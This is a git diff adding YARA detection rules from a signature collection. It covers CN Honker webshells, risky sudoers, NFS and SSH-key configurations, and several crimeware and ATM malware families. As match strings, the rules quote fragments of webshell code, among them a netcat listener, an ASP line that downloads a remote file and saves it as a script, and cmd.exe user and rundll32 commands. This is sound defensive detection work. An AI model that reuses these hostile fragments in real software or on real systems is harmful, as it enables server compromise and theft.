+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php4.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "179975f632baff6ee4d674fe3fabc324724fee9e"
+		id = "82446dff-dd1e-54a8-bb70-570bedc805b5"
+	strings:
+		$s0 = "nc -l -vv -p port(" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x4850 and filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_Linux_2_6_Exploit {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 2.6.9"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ec22fac0510d0dc2c29d56c55ff7135239b0aeee"
+		id = "22e2aca7-418f-598f-af0c-99942aaf3278"
+	strings:
+		$s0 = "[+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?" fullword ascii
+	condition:
+		filesize < 56KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp2.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b3ac478e72a0457798a3532f6799adeaf4a7fc87"
+		id = "e5296405-c345-55dc-acd9-be6aca86c60b"
+	strings:
+		$s1 = "<%=server.mappath(request.servervariables(\"script_name\"))%>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "webshell</font> <font color=#00FF00>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Userpwd = \"admin\"   'User Password" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule CN_Honker_Webshell_FTP_MYSQL_MSSQL_SSH {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file FTP MYSQL MSSQL SSH.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fe63b215473584564ef2e08651c77f764999e8ac"
+		id = "dd619901-6f0e-527e-9926-808176641c09"
+	strings:
+		$s1 = "$_SESSION['hostlist'] = $hostlist = $_POST['hostlist'];" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Codz by <a href=\"http://www.sablog.net/blog\">4ngel</a><br />" fullword ascii
+		$s3 = "if ($conn_id = @ftp_connect($host, $ftpport)) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "$_SESSION['sshport'] = $mssqlport = $_POST['sshport'];" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "<title>ScanPass(FTP/MYSQL/MSSQL/SSH) by 4ngel</title>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 20KB and 3 of them
+}
+
+rule CN_Honker_Webshell_ASP_shell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file shell.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b7b34215c2293ace70fc06cbb9ce73743e867289"
+		id = "fdfc3fc1-9400-533b-978b-1a1fac112e1f"
+	strings:
+		$s1 = "xPost.Open \"GET\",\"http://www.i0day.com/1.txt\",False //" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "sGet.SaveToFile Server.MapPath(\"test.asp\"),2 //" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "http://hi.baidu.com/xahacker/fuck.txt" fullword ascii
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php7 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php7.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+		id = "f21bb0db-d18a-58c0-a227-5baf5536c57b"
+	strings:
+		$s0 = "---> '.$ports[$i].'<br>'; ob_flush(); flush(); } } echo '</div>'; return true; }" ascii /* PEStudio Blacklist: strings */
+		$s1 = "$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = iss" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_rootkit {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file rootkit.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3bfc1c95782e702cf56184e7d438edcf5802eab3"
+		id = "ab51abca-0790-541c-9f18-1568809ef113"
+	strings:
+		$s0 = "set ss=zsckm.get(\"Win32_ProcessSta\"&uyy&\"rtup\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "If jzgm=\"\"Then jzgm=\"cmd.exe /c net user\"" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 80KB and all of them
+}
+
+rule CN_Honker_Webshell_jspshell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d16af622f7688d4e0856a2678c4064d3d120e14b"
+		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"
+	strings:
+		$s1 = "else if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Proce" ascii /* PEStudio Blacklist: strings */
+		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_serv_u {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file serv-u.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		score = 70
+		hash = "1c6415a247c08a63e3359b06575b36017befc0c0"
+		id = "dd37b2c3-e06d-5245-97d7-40e5eeadb76f"
+	strings:
+		$s1 = "@readfile(\"c:\\\\winnt\\\\system32\\" ascii /* PEStudio Blacklist: strings */
+		$s2 = "$sendbuf = \"PASS \".$_POST[\"password\"].\"\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$cmd=\"cmd /c rundll32.exe $path,install $openPort $activeStr\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 435KB and all of them
+}
+
+rule CN_Honker_Webshell_WebShell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file WebShell.cgi"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+		id = "9fe4c8fd-3955-5405-add2-835e6f64e8f2"
+	strings:
+		$s1 = "$login = crypt($WebShell::Configuration::password, $salt);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "warn \"command: '$command'\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_mssql_2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mssql.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ad55512afa109b205e4b1b7968a89df0cf781dc9"
+		id = "3f9706d6-7f6e-5120-945a-d5d928d79507"
+	strings:
+		$s1 = "sqlpass=request(\"sqlpass\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "set file=fso.createtextfile(server.mappath(request(\"filename\")),8,true)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<blockquote> ServerIP:&nbsp;&nbsp;&nbsp;" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp1.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "78b5889b363043ed8a60bed939744b4b19503552"
+		id = "bf0b1f1e-cf7b-5afb-8e0a-bcfd70fc8887"
+	strings:
+		$s1 = "SItEuRl=" ascii
+		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Server.ScriptTimeout=" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 200KB and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/configured_vulns_ext_vars.yar b/yara-Neo23x0/configured_vulns_ext_vars.yar
new file mode 100644
index 0000000..d770c6c
--- /dev/null
+++ b/yara-Neo23x0/configured_vulns_ext_vars.yar
@@ -0,0 +1,241 @@
+
+/* 
+	Rules which detect vulnerabilities in configuration files.
+	External variables are used so they only work with YARA scanners, that pass them on (e.g. Thor, Loki and Spyre)
+*/
+
+
+rule VULN_Linux_Sudoers_Commands {
+	meta:
+		description = "Detects sudoers config with commands which might allow privilege escalation to root"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Arnim Rupp"
+		reference = "https://gtfobins.github.io/"
+		date = "2022-11-22"
+		modified = "2024-04-15"
+		score = 50
+		id = "221d90c8-e70e-5214-a03b-57ecabcdd480"
+	strings:
+		$command1 = "/sh " ascii
+		$command2 = "/bash " ascii
+		$command3 = "/ksh " ascii
+		$command4 = "/csh " ascii
+		$command5 = "/tcpdump " ascii
+		//$command6 = "/cat " ascii
+		//$command7 = "/head " ascii
+		$command8 = "/nano " ascii
+		$command9 = "/pico " ascii
+		$command10 = "/rview " ascii
+		$command11 = "/vi " ascii
+		$command12 = "/vim " ascii
+		$command13 = "/rvi " ascii
+		$command14 = "/rvim " ascii
+		//$command15 = "/more " ascii
+		$command16 = "/less " ascii
+		$command17 = "/dd " ascii
+		/* $command18 = "/mount " ascii prone to FPs */ 
+
+	condition:
+		( filename == "sudoers" or filepath contains "/etc/sudoers.d" ) and 
+		any of ($command*)
+}
+
+rule VULN_Linux_NFS_Exports {
+	meta:
+		description = "Detects insecure /etc/exports NFS config which might allow privilege escalation to root or other users. The parameter insecure allows any non-root user to mount NFS shares via e.g. an SSH-tunnel. With no_root_squash SUID root binaries are allowed."
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://www.errno.fr/nfs_privesc.html"
+		author = "Arnim Rupp"
+		date = "2022-11-22"
+		score = 50
+		id = "4b7d81d8-1ae1-5fcf-a91c-271477a839db"
+	strings:
+		// line has to start with / to avoid triggering on #-comment lines
+		$conf1 = /\n\/.{2,200}?\binsecure\b/ ascii
+		$conf2 = /\n\/.{2,200}?\bno_root_squash\b/ ascii
+
+	condition:
+		filename == "exports" and 
+		filepath contains "/etc" and 
+		any of ($conf*)
+}
+
+rule SUSP_AES_Key_in_MySql_History {
+	meta:
+		description = "Detects AES key outside of key management in .mysql_history"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Arnim Rupp"
+		date = "2022-11-22"
+		score = 50
+		id = "28acef39-8606-5d3d-b395-0d8db13f6c9c"
+	strings:
+		$c1 = /\bAES_(DE|EN)CRYPT\(.{1,128}?,.??('|").{1,128}?('|")\)/ ascii
+		$c2 = /\baes_(de|en)crypt\(.{1,128}?,.??('|").{1,128}?('|")\)/ ascii
+
+	condition:
+		filename == ".mysql_history" and 
+		any of ($c*)
+}
+
+rule VULN_Slapd_Conf_with_Default_Password {
+	meta:
+		description = "Detects an openldap slapd.conf with the default password test123"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Arnim Rupp"
+		date = "2022-11-22"
+		reference = "https://www.openldap.org/doc/admin21/slapdconfig.html"
+		score = 70
+		id = "1d1319da-125b-5373-88f1-27a23c85729e"
+	strings:
+		/* \nrootpw \{SSHA\}fsAEyxlFOtvZBwPLAF68zpUhth8lERoR */
+		$c1 = { 0A 72 6f 6f 74 70 77 20 7b 53 53 48 41 7d 66 73 41 45 79 78 6c 46 4f 74 76 5a 42 77 50 4c 41 46 36 38 7a 70 55 68 74 68 38 6c 45 52 6f 52 }
+
+	condition:
+		filename == "slapd.conf" and 
+		any of ($c*)
+}
+
+rule VULN_Unencrypted_SSH_Private_Key : T1552_004 {
+    meta:
+        description = "Detects unencrypted SSH private keys with DSA, RSA, ECDSA and ED25519 of openssh or Putty"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2023-01-06"
+        reference = "https://attack.mitre.org/techniques/T1552/004/"
+        score = 50
+        id = "84b279fc-99c8-5101-b2d8-5c7adbaf753f"
+    strings:
+        /*
+            -----BEGIN RSA PRIVATE KEY-----
+            MII
+        */
+        $openssh_rsa = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 }
+
+        /*
+            -----BEGIN DSA PRIVATE KEY-----
+            MIIBvAIBAAKBgQ
+        */
+        $openssh_dsa = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 44 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 76 41 49 42 41 41 4b 42 67 51 }
+
+        /*
+            -----BEGIN EC PRIVATE KEY-----
+            M
+        */
+        $openssh_ecdsa = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 43 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d }
+
+        /*
+            -----BEGIN OPENSSH PRIVATE KEY-----
+            b3BlbnNzaC1rZXktdjEAAAAABG5vbmU
+
+            base64 contains: openssh-key-v1.....none
+        */
+        $openssh_ed25519 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 4f 50 45 4e 53 53 48 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 62 33 42 6c 62 6e 4e 7a 61 43 31 72 5a 58 6b 74 64 6a 45 41 41 41 41 41 42 47 35 76 62 6d 55 }
+
+        $putty_start = "PuTTY-User-Key-File" ascii
+        $putty_noenc = "Encryption: none" ascii
+
+    condition:
+        /*
+            limit to folders and filenames which are known to contain ssh keys to avoid triggering on all those
+            private keys for SSL, signing, ... which might be important but aren't usually used for lateral
+            movement => bad signal noise ratio
+        */
+        (
+            filepath contains "ssh" or
+            filepath contains "SSH" or
+            filepath contains "utty" or
+            filename contains "ssh" or
+            filename contains "SSH" or
+            filename contains "id_" or
+            filename contains "id2_" or
+            filename contains ".ppk" or
+            filename contains ".PPK" or
+            filename contains "utty"
+        )
+        and
+        (
+            $openssh_dsa     at 0 or
+            $openssh_rsa     at 0 or
+            $openssh_ecdsa   at 0 or
+            $openssh_ed25519 at 0 or
+            (
+                $putty_start at 0 and
+                $putty_noenc
+            )
+        )
+        and not filepath contains "/root/"
+        and not filename contains "ssh_host_"
+}
+
+
+rule VULN_Unencrypted_SSH_Private_Key_Root_Folder : T1552_004 {
+    meta:
+        description = "Detects unencrypted SSH private keys with DSA, RSA, ECDSA and ED25519 of openssh or Putty"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2023-01-06"
+        reference = "https://attack.mitre.org/techniques/T1552/004/"
+        score = 65
+        id = "9e6a03a1-d95f-5de7-a6c0-a2e77486007c"
+    strings:
+        /*
+            -----BEGIN RSA PRIVATE KEY-----
+            MII
+        */
+        $openssh_rsa = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 }
+
+        /*
+            -----BEGIN DSA PRIVATE KEY-----
+            MIIBvAIBAAKBgQ
+        */
+        $openssh_dsa = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 44 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 76 41 49 42 41 41 4b 42 67 51 }
+
+        /*
+            -----BEGIN EC PRIVATE KEY-----
+            M
+        */
+        $openssh_ecdsa = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 43 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d }
+
+        /*
+            -----BEGIN OPENSSH PRIVATE KEY-----
+            b3BlbnNzaC1rZXktdjEAAAAABG5vbmU
+
+            base64 contains: openssh-key-v1.....none
+        */
+        $openssh_ed25519 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 4f 50 45 4e 53 53 48 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a 62 33 42 6c 62 6e 4e 7a 61 43 31 72 5a 58 6b 74 64 6a 45 41 41 41 41 41 42 47 35 76 62 6d 55 }
+
+        $putty_start = "PuTTY-User-Key-File" ascii
+        $putty_noenc = "Encryption: none" ascii
+
+    condition:
+        /*
+            limit to folders and filenames which are known to contain ssh keys to avoid triggering on all those
+            private keys for SSL, signing, ... which might be important but aren't usually used for lateral
+            movement => bad signal noise ratio
+        */
+        (
+            filepath contains "ssh" or
+            filepath contains "SSH" or
+            filepath contains "utty" or
+            filename contains "ssh" or
+            filename contains "SSH" or
+            filename contains "id_" or
+            filename contains "id2_" or
+            filename contains ".ppk" or
+            filename contains ".PPK" or
+            filename contains "utty"
+        )
+        and
+        (
+            $openssh_dsa     at 0 or
+            $openssh_rsa     at 0 or
+            $openssh_ecdsa   at 0 or
+            $openssh_ed25519 at 0 or
+            (
+                $putty_start at 0 and
+                $putty_noenc
+            )
+        )
+        and filepath contains "/root/"
+        and not filename contains "ssh_host_"
+}
diff --git a/yara-Neo23x0/crime_academic_data_centers_camp_may20.yar b/yara-Neo23x0/crime_academic_data_centers_camp_may20.yar
new file mode 100644
index 0000000..e2e4424
--- /dev/null
+++ b/yara-Neo23x0/crime_academic_data_centers_camp_may20.yar
@@ -0,0 +1,36 @@
+rule APT_LNX_Academic_Camp_May20_Eraser_1 {
+   meta:
+      description = "Detects malware used in attack on academic data centers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
+      date = "2020-05-16"
+      hash1 = "552245645cc49087dfbc827d069fa678626b946f4b71cb35fa4a49becd971363"
+      id = "36d17887-9844-5fa4-8a0d-89cc41b2d876"
+   strings:
+      $sc2 = { E6 FF FF 48 89 45 D0 8B 45 E0 BA 00 00 00 00 BE
+               00 00 00 00 89 C7 E8 }
+      $sc3 = { E6 FF FF 89 45 DC 8B 45 DC 83 C0 01 48 98 BE 01
+               00 00 00 48 89 C7 E8 }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 60KB and
+      all of them
+}
+
+rule APT_LNX_Academic_Camp_May20_Loader_1 {
+   meta:
+      description = "Detects malware used in attack on academic data centers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
+      date = "2020-05-16"
+      hash1 = "0efdd382872f0ff0866e5f68f0c66c01fcf4f9836a78ddaa5bbb349f20353897"
+      id = "cda65abd-d918-5ee6-8f4a-554d47532d76"
+   strings:
+      $sc1 = { C6 45 F1 00 C6 45 F2 0A C6 45 F3 0A C6 45 F4 4A 
+               C6 45 F5 04 C6 45 F6 06 C6 45 F7 1B C6 45 F8 01 }
+      $sc2 = { 01 48 39 EB 75 EA 48 83 C4 08 5B 5D 41 5C 41 5D }
+   condition:
+      uint16(0) == 0x457f and
+      filesize < 10KB and all of them
+}
+
diff --git a/yara-Neo23x0/crime_andromeda_jun17.yar b/yara-Neo23x0/crime_andromeda_jun17.yar
new file mode 100644
index 0000000..7d24f7f
--- /dev/null
+++ b/yara-Neo23x0/crime_andromeda_jun17.yar
@@ -0,0 +1,38 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-30
+   Identifier: WORM_RETADUP
+   Reference: http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Andromeda_MalBot_Jun_1A {
+   meta:
+      description = "Detects a malicious Worm Andromeda / RETADUP"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/"
+      date = "2017-06-30"
+      modified = "2022-12-21"
+      hash1 = "3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9"
+      hash2 = "73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98"
+      hash3 = "66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4"
+      hash4 = "42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed"
+      id = "42ee6ba3-85ea-5369-bd9b-8ffdec6e17bc"
+   strings:
+      $x1 = "%temp%\\FolderN\\name.exe" fullword wide
+      $x2 = "%temp%\\FolderN\\name.exe.lnk" fullword wide
+      $x3 = "\\Startup\\name.exe" wide
+      $x4 = "firefox.exe.exe" fullword wide
+      $x5 = "\\Desktop\\New folder\\dark.exe" wide
+      $x6 = "\\x86\\Release\\word.pdb" ascii
+      $x7 = "\\obj\\Release\\botkill.pdb" ascii
+
+      $s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
+      $s2 = "svhost.exe" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 2 of them )
+}
diff --git a/yara-Neo23x0/crime_antifw_installrex.yar b/yara-Neo23x0/crime_antifw_installrex.yar
new file mode 100644
index 0000000..096323b
--- /dev/null
+++ b/yara-Neo23x0/crime_antifw_installrex.yar
@@ -0,0 +1,19 @@
+
+rule PUP_InstallRex_AntiFWb {
+	meta:
+		description = "Malware InstallRex / AntiFW"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-05-13"
+		hash = "bb5607cd2ee51f039f60e32cf7edc4e21a2d95cd"
+		score = 55
+		id = "b327527e-8b88-5292-933b-102bd76df4eb"
+	strings:
+		$s4 = "Error %u while loading TSU.DLL %ls" fullword ascii
+		$s7 = "GetModuleFileName() failed => %u" fullword ascii
+		$s8 = "TSULoader.exe" fullword wide
+		$s15 = "\\StringFileInfo\\%04x%04x\\Arguments" wide
+		$s17 = "Tsu%08lX.dll" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
diff --git a/yara-Neo23x0/crime_atm_dispenserxfs.yar b/yara-Neo23x0/crime_atm_dispenserxfs.yar
new file mode 100644
index 0000000..6348aec
--- /dev/null
+++ b/yara-Neo23x0/crime_atm_dispenserxfs.yar
@@ -0,0 +1,24 @@
+
+import "pe"
+
+rule ATM_Malware_DispenserXFS {
+   meta:
+      description = "Detects ATM Malware DispenserXFS"
+      author = "@Xylit0l @r3c0nst / Modified by Florian Roth"
+      reference = "https://twitter.com/r3c0nst/status/1100775857306652673"
+      date = "2019/02/27"
+      modified = "2023-01-06"
+      score = 80
+      id = "7c06102c-93d3-52f4-8c25-430f6f7a601f"
+   strings:
+      $xc1 = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 }
+      $s1 = "\\dispenserXFS.pdb" ascii
+      $s3 = "C:\\xfsasdf.txt" fullword ascii
+      $s4 = "Injected mxsfs killer into %d." fullword ascii
+      $s5 = "Waiting for freeze msxfs processes..." fullword ascii
+   condition:
+      uint16(0) == 0x5A4D and (
+         1 of them or
+         pe.imphash() == "617e037ae26d1931818db0790fb44bfe"
+      )
+}
diff --git a/yara-Neo23x0/crime_atm_javadipcash.yar b/yara-Neo23x0/crime_atm_javadipcash.yar
new file mode 100644
index 0000000..e13b4e0
--- /dev/null
+++ b/yara-Neo23x0/crime_atm_javadipcash.yar
@@ -0,0 +1,21 @@
+rule ATM_Malware_JavaDispCash {
+	meta:
+		description = "Detects ATM Malware JavaDispCash"
+		author = "Frank Boldewin (@r3c0nst)"
+		reference = "https://twitter.com/r3c0nst/status/1111254169623674882"
+		date = "2019-03-28"
+		hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027"
+		hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa"
+
+		id = "7aa91719-6539-572a-8618-bfb5290a5b59"
+	strings:
+		$CashInfo = "getNumberOfCashUnits" ascii wide
+		$Dispense = "waitforbillstaken" ascii wide
+		$Inject = "No code to inject!" ascii wide
+		$config = ".Agentcli" ascii wide
+		$log1 = "logft.log" ascii wide
+		$log2 = ".loginside" ascii wide
+
+	condition:
+		uint16(0) == 0x4B50 and filesize < 500KB and all of them
+}
diff --git a/yara-Neo23x0/crime_atm_loup.yar b/yara-Neo23x0/crime_atm_loup.yar
new file mode 100644
index 0000000..2505126
--- /dev/null
+++ b/yara-Neo23x0/crime_atm_loup.yar
@@ -0,0 +1,19 @@
+/* slightly modified by Florian Roth - removed the nocase statements for lower memory usage */
+
+rule ATM_Malware_Loup {
+	meta:
+		description = "Detects ATM Malware Loup"
+		author = "Frank Boldewin (@r3c0nst)"
+		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
+		date = "2020-08-17"
+		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
+		
+		id = "2215a93f-d854-5f9b-b5cd-53962c45db08"
+	strings:
+		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii /* nocase */
+		$String2 = "CurrencyDispenser1" ascii /* nocase */
+		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8} // Dispense
+		
+	condition:
+		uint16(0) == 0x5A4D and filesize < 100KB and all of ($String*) and $Code
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_atm_xfsadm.yar b/yara-Neo23x0/crime_atm_xfsadm.yar
new file mode 100644
index 0000000..aa5be2c
--- /dev/null
+++ b/yara-Neo23x0/crime_atm_xfsadm.yar
@@ -0,0 +1,23 @@
+rule ATM_Malware_XFSADM {
+   meta:
+      description = "Detects ATM Malware XFSADM"
+      author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
+      reference = "https://twitter.com/r3c0nst/status/1149043362244308992"
+      date = "2019-06-21"
+      hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d"
+      id = "7bd7e194-1cf1-5d12-809b-25aaf7f62ca3"
+   strings:
+      $Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15} // Read Card Data
+      $Code2 = {68 98 01 00 00 50 FF 15} // Get PIN Data
+      $Mutex = "myXFSADM" wide
+      $MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" ascii
+      $XFSCommand1 = "WfsExecute" ascii
+      $XFSCommand2 = "WfsGetInfo" ascii
+      $PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" ascii
+      $WindowName = "XFS ADM" wide
+      $FindWindow = "ADM rec" wide
+      $LogFile = "xfs.log" ascii
+      $TmpFile = "~pipe.tmp" ascii
+   condition:
+      uint16(0) == 0x5A4D and filesize < 500KB and ( 4 of them or $PDB )
+}
diff --git a/yara-Neo23x0/crime_atm_xfscashncr.yar b/yara-Neo23x0/crime_atm_xfscashncr.yar
new file mode 100644
index 0000000..bb56714
--- /dev/null
+++ b/yara-Neo23x0/crime_atm_xfscashncr.yar
@@ -0,0 +1,23 @@
+
+rule ATM_Malware_XFSCashNCR {
+	meta:
